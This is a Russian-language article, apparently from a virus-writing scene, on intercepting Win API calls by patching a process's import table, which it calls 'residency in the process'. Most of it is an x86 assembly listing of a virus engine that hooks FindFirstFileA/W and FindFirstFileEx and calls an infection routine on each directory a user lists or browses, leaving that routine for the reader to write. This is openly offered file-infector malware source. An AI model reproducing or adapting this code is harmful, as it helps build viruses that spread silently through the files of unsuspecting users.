Существует несколько способов перехвата Win API функций:
- Использование хуков.
- Подмена адресов функций в памяти процесса.
Первый способ часто используется в антивирусных программах, в программах
которым необходим контроль за какими-то системными событиями. Второй способ это
так называемая "резидентность на процесс", данная техника довольно часто в
последнее время используется в вирусах.
Но потенциал данной техники не ограничивается использованием в компьютерных
вирусах. Например, её можно использовать в вакцинах, навесных защитах, а так же
во многих других областях.
Вначале разберёмся, что такое "резидентность на процесс" и как данная техника
используется в компьютерных вирусах.
Когда запускается заражённая программа, вначале управление получает вирус.
Он обнаруживает секцию импортов данной программы в памяти и подменяет адреса
некоторых системных функций на адреса своих подпрограмм. И передаёт управление
оригинальной программе. Когда оригинальная программа пытается выполнить одну из
перехваченных системных функций, то управление получает вирусная подпрограмма.
Данная подпрограмма чаще всего заражает файл, который передаётся в качестве
параметра системной функции и возвращает управление настоящей системной функции.
В основном перехватываются такие WIN API функции, как:
- CreateFileA, CreateFileW
- FindFirstFileA, FindFirstFileW
- FindNextFileA, FindNextFileW
- CopyFileA, CopyFileW
- и другие
Из вышесказанного мы можем для себя определить, что в резидентности на
процесс самое важное это получение параметров (имён файлов). Но так ли это?
Стоит отметить, что функции FindFirstFileA и FindFirstFileW в качестве
параметров поиска файлов передают директорию для поиска,
что может использоваться гораздо более эффективно. Вы наверное спросите, а как часто
вызываются данные функции? Все наверное знают такую программу, как
cmd.exe. Данная программа запускает консоль в системах семейства Windows NT. Так вот,
при использовании команды "dir" - запускаются описанные выше функции. Но
это только цветочки. Все видели и знают диалоги открытия и сохранения файла,
там то же используются функции FindFirstFileA и FindFirstFileW. Это говорит
о том, что если их перехватить, то все часто используемы директории окажутся
под контролем ваше программы.
Теперь я думаю, что стоит перейти к практической части данного текста.
Вначале определимся с алгоритмом:
- Найти в памяти секцию импортов.
- Найти в памяти место хранения адреса необходимой функции,
сохранить его в переменной и заменить своим адресом. - После обработки директории передать управление оригинальной функции.
Теперь мы можем рассмотреть пример использования данной технологии на примере
мотора APPR.
Перейдём к листингу:
; FOR MS WINDOWS ;
; ;
; BY SL0N ;
;---------------------------------------------;
; MANUAL: ;
; ;
; OFFSET OF RESIDENT PROC -> EAX ;
; IMAGE BASE -> EBX ;
; CALL HOOKALLAPIS ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
HookAllAPIs:
mov [ebp+i_base],ebx
mov [ebp+f_addr2],eax
lea edi,[ebp+Hookz] ; Указатель на первую API
nextapi:
push edi ; Сохраняем указатель
call GetAPI_IT ; Получаем адрес ф-ии
pop edi ; Восстанавливаем указатель
jc Next_IT_Struc_ ; Ошибка, плохо !
; eax = API адрес
; ebx = Указатель API адрес
; в таблице импортов
xor al,al ; Определяем конец API строки
scasb ;
jnz $-1 ;
mov eax,[edi] ; Получаем смещение
; обработчика
add eax,ebp ; Добавляем дельта смещение
mov edx,[ebx] ; Кладём старый адрес в edx
mov [ebp+f_addr],edx ; И сохраняем его в
; переменной
mov [ebx],eax ; Новый адрес кладём в импорт
Next_IT_Struc:
add edi,4 ; Переходим к следующему
; элементу
cmp byte ptr [edi],"" ; Это последняя API
jz AllHooked ; Мы перехватили всё ?
jmp nextapi ; Перехватываем дальше
AllHooked:
ret ; Возврат из подпрограммы
Next_IT_Struc_:
xor al,al ; Получаем
scasb ; конец строки
jnz $-1 ;
jmp Next_IT_Struc ; И возвращаемся назад
;---------------------------------------------;
HookFindFirstFile:
call DoHookStuff ; Вызов обработчика
db 0b8h ; mov eax,old_API_address
f_addr dd 0h ;
jmp eax ; Возврат управления
; оригинальной функции
;---------------------------------------------;
DoHookStuff:
pushad ; Сохраняем все регистры
pushfd ; и флаги
call dir_Infect ; Инфицируем директорию
db 0b8h
f_addr2 dd 0
call eax
popfd ; Восстанавливаем всё
popad ;
ret ; Возврат из подпрограммы
;---------------------------------------------;
GetAPI_IT:
mov [ebp+API_name],edi ; Сохраняем указатель на
; имя функции
mov ebx,edi ;
xor al,al ; Ищем
"\0"
scasb ;
jnz $-1 ;
sub edi,ebx ; Получаем длину имени
mov [ebp+API_size],edi ; функции и сохраняем её
xor eax,eax ; Обнуляем eax
mov esi,[ebp+i_base] ; Кладём в esi imagebase
add esi,3Ch ; Добавляем к esi - 3Ch
lodsw ; Получаем PE заголовок
add eax,[ebp+i_base] ; Добавляем к eax базу
xchg esi,eax ;
lodsd ;
cmp eax,"EP" ; Проверяем это PE файл
jnz nopes ; Нет, плохо!
add esi,7Ch ;
lodsd ; Получаем адрес
push eax ;
lodsd ; EAX = Размер
pop esi ;
add esi,[ebp+i_base] ;
SearchK32:
push esi
mov esi,[esi+0Ch] ; esi = указатель на имя
add esi,[ebp+i_base] ; Добавляем базу
lea edi,[ebp+K32_DLL] ; Указатель на "KERNEL32.dll"
mov ecx,13 ; ecx = размер строки
cld ;
push ecx ; Сохраняем ecx
rep cmpsb ; Сравниваем строки
pop ecx ; Восстанавливаем ecx
pop esi ; Восстанавливаем указатель
; на секцию импортов
jz gotcha ; Если совпало, переходим
add esi,14h ; Берём другое поле
jmp SearchK32 ; И сравниваем
gotcha:
cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0?
jz nopes ; Нет, плохо !
mov edx,[esi+10h] ; Получаем FirstThunk
add edx,[ebp+i_base] ; Добавляем базу
lodsd
or eax,eax ; Равно нулю?
jz nopes ; Плохо...
xchg edx,eax ; Получаем указатель на него!
add edx,[ebp+i_base] ;
xor ebx,ebx ;
loopy:
cmp dword ptr [edx],00h ; Последний
RVA?
jz nopes ;
cmp byte ptr [edx+03h],80h ; Ординал ?
jz reloop
mov edi,[ebp+API_name] ; Получаем указатель на имя
mov ecx,[ebp+API_size] ; Получаем длину имени
mov esi,[edx] ; Получаем текущую функцию
add esi,[ebp+i_base] ; из секции импорта
inc esi
inc esi
push ecx ; Сохраняем её размер
rep cmpsb ; Сравниваем строки
pop ecx ; Восстанавливаем размер
jz wegotit
reloop:
inc ebx ; Увеличиваем счётчик
add edx,4 ; Получаем указатель на
loop loopy ; другую ф-ию и сравниваем
wegotit:
shl ebx,2 ; Умножаем на 4
add ebx,eax ; Добавляем в FirstThunk
mov eax,[ebx] ; eax = API адрес
test al,0 ; Это для обхода jmp'a
org $-1 ;
nopes:
stc ; Ошибка !
ret ; Возврат из подпрограммы
;---------------------------------------------;
Hookz:
db "FindFirstFileW",0 ;
dd (offset HookFindFirstFile) ;
;
db "FindFirstFileA",0 ;
dd (offset HookFindFirstFile) ; Массив структур для
; перехвата API функций
db "FindFirstFileEx",0 ;
dd (offset HookFindFirstFile) ;
;
db "" ; Конец массива
;---------------------------------------------;
i_base dd 0
API_name dd 0
API_size dd 0
K32_DLL db 'KERNEL32.dll',0
;---------------------------------------------;
Подпрограмма infect_dir должна быть написана вами самостоятельно.
По моему у данной техники имеются огромные перспективы развития. Необходимо сказать, что
в данной статье использовались материалы из туториала Billy
Belcebu.